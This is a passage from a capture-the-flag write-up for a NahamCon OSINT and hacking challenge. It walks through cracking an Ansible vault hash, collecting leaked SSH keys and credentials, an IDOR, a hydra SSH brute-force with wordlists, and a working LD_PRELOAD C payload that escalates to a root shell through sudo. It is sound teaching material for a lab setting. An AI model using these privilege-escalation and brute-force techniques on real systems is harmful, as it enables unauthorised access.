32313438363938386263306136303839653830363838326466313566393330616130303861643363
3463623464306163343466393338336365656436386333320a306664343239666634316636633630
63633031396233366539616265633161346637626435363732333637663336363338346536643834
6666653830363637390a636566663836363062326535356164396162373331313662326663613532
32303062323465313035313361393962333163306462313865313165393034363832' > ansible.yml

#Use ansible2john.py 
/usr/share/john/ansible2john.py ansible.yml > hash

#Crack the hash
john hash --wordlist=rockyou.txt

#Decrypt the file with password we found
ansible-vault view --ask-vault-pass ansible.yml 

Thus we can get into root and get the flag!

Path 4

Stage 1 : Gus

Searching in GitHub we can find Gus Github account

We can immediately get flag in the commit section

Also we can get id_rsa

Stage 2 : Banking On It

Let's connect the user with id_rsa that we found!

ssh -p PORT gus@challenge.nahamcon.com -i id_rsa

Once we ge inside we can see that we can run sudo -l

To exploit this we can create one LD_PRELOAD

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

#Run
gcc -fPIC -shared -nostartfiles -o preload.so preload.c

Once done we can run this command with the binary

sudo LD_PRELOAD=/tmp/preload.so /opt/banking/bank

Thus we will get access as root and read the flag!

Path 3

Stage 1 : Orion

Found a possible user in twitter

Which we can get a credentials

orion:stars4love4life

And a flag

Path 2

Stage 1 : Hercules

Looking at Gus's followers we can find user account name HerculesScox

Thus we will get the flag with some credentials

hercules:starstruckherc

Path 5

Stage 1 : Lyra

Found a possible user in twitter

And found a link that she expose in her twitter

Which might be vulnerable to IDOR and thus we will get the flag at documents number 5

And we got a list of user and passwords

#user
orion
pavo
gus
vela
hercules
leo
lyra
gemini

#pass
starstar
allstars
starstruck
starshine
starsky
popstars
starship
bluestars
pinkstars
superstars
ilovestars
rockstars
thestars
starscream
gostars
shootingstars
northstars
alpinestars
starsign
moonandstars
starsrock
luckystars
iluvstars
fivestars
redstars
mystars
lovestars
dallasstars
moonstars
sunmoonstars
starsailor
silverstars
sevenstars
lilstars
dotaallstars
sunstars
starsun
starsstars
starsareblind
pokerstars
magicstars
divastars
blackstars
starstarstar
starsearch
luvstars
greenstars
deathstars
brightstars
twinstars
starsinthesky
starshooter
starsha
threestars
summerstars
starspirit
starshollow
starsandstripes
starsandmoons
nightstars
metrostars
icstars
hoodstars
deadstars
citystars

Stage 2 : Hydraulic

Since we have possible users and possible passwords let's use hydra :)

#Commands
hydra -L user.txt -P pass.txt -s 30163 challenge.nahamcon.com ssh

Once we get access we can get the flag!

Step 3 : Centaurus

Trying to decompile with jadx we will get to find the endpoints for api and also authorization .

Let's list what we have now

http://challenge.nahamcon.com:31234/api/users
Authorization : ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM=

We can get list of users

Let's get notes from this users

http://challenge.nahamcon.com:31234/api/notes/2164421e-3cdc-465f-b1fc-2da0bed89a6c

We get the flag!

Credits & Conclusion

Thank you to everyone in Team H0j3n that join this CTF:

Last updated